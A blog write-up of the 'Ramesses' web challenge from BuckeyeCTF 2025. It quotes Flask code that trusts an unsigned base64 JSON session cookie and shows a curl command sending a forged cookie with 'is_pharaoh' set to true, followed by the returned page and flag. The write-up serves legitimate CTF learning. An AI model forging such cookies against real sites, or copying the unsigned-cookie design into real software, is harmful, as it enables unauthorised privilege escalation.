Ramesses - BuckeyeCTF 2025

2025. 11. 9. 18:32·

Đề bài


Giải 

Trong source code có đoạn kiểm tra Cookies sau

@app.route("/", methods=["GET", "POST"])
def home():
    if request.method == "POST":
        name = request.form.get("name", "")
        cookie_data = {"name": name, "is_pharaoh": False}
        encoded = base64.b64encode(json.dumps(cookie_data).encode()).decode()

        response = make_response(redirect(url_for("tomb")))
        response.set_cookie("session", encoded)
        return response

    return render_template("index.html")
    
@app.route("/tomb")
def tomb():
    session_cookie = request.cookies.get("session")
    if not session_cookie:
        return redirect(url_for("home"))
    try:
        user = json.loads(base64.b64decode(session_cookie).decode())
    except Exception:
        return redirect(url_for("home"))
    return render_template("tomb.html", user=user, flag=flag)

Vậy chỉ cần mình là pharaoh là được

┌──(kali㉿kali)-[BuckeyeCTF 2025/beginner/Ramesses]
└─$ curl -s -b "session=eyJuYW1lIjoiUGhhcmFvaCBEYXZlIFJhbWVzc2VzIiwiaXNfcGhhcmFvaCI6dHJ1ZX0=" https://ramesses.challs.pwnoh.io/tomb
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <title>Welcome</title>
    <link
      rel="stylesheet"
      href="/static/main.css"
    />
  </head>
  <body>
    <canvas id="sand-canvas" aria-hidden="true"></canvas>
    <div class="content">
      <div class="card">

        <h1>Pharaoh Pharaoh Dave Ramesses</h1>
        <p>
          What a happy day! Heaven and earth rejoice, for thou art the great
          lord of Egypt.
        </p>
        <p>All lands say unto him: The flag is bctf{s0_17_w45_wr177en_50_1t_w45_d0n3}</p>

        <a class="button" href="/logout">Depart</a>
      </div>
    </div>
    <script src="/static/sand.js" defer></script>
  </body>
</html>

Flag

Flag: bctf{s0_17_w45_wr177en_50_1t_w45_d0n3}

'WriteUp > Web' 카테고리의 다른 글

Web - UofTCTF 2026  (2) 2026.01.13
ebg13 - BuckeyeCTF 2025  (0) 2025.11.09
5571  (0) 2025.11.04
Mark The Lyrics  (0) 2025.11.01
Tiny Flag  (0) 2025.11.01
'WriteUp/Web' Other posts in category
  • Web - UofTCTF 2026
  • ebg13 - BuckeyeCTF 2025
  • 5571
  • Mark The Lyrics
longhd
longhd
Longhd's Blog
  • longhd
    Ha Duy Long - InfosecPTIT
    longhd
  • Total
    Today
    Yesterday
  • About me

    • Hello I'm Duy Long 👋🏻
    • View all categories (117) N
      • Certificates (4)
      • CTF (3)
      • WriteUp (94) N
        • Forensics (44) N
        • Steganography (5)
        • RE (9) N
        • OSINT (8)
        • Web (17)
        • MISC (6)
        • Crypto (3)
        • Pwn (2)
      • Love Story (0)
      • Labs (15)
        • Information Gathering (10)
        • Vulnerability Scanning (2)
        • Introduction to Web Applica.. (1)
        • Common Web Application Atta.. (1)
        • SQL Injection Attacks (1)
  • Blog Menu

    • Home
    • Tag
    • GuestBook
  • Popular Posts

  • Tags

    V1tCTF2025
    Steganography
    misc
    Web
    CTF
    Re
    writeup
    THM
    OSINT
    picoCTF
    EnigmaXplore3.0
    CSCV2025
    PTITCTF2025
    CHH
    SunshineCTF2025
    htb
    Dreamhack
    POCCTF2025
    Forensics
    BuckeyeCTF2025
  • Recent Comments

  • Recent Posts

  • hELLO· Designed ByLong.v4.10.4
longhd
Ramesses - BuckeyeCTF 2025
Go to Top

티스토리툴바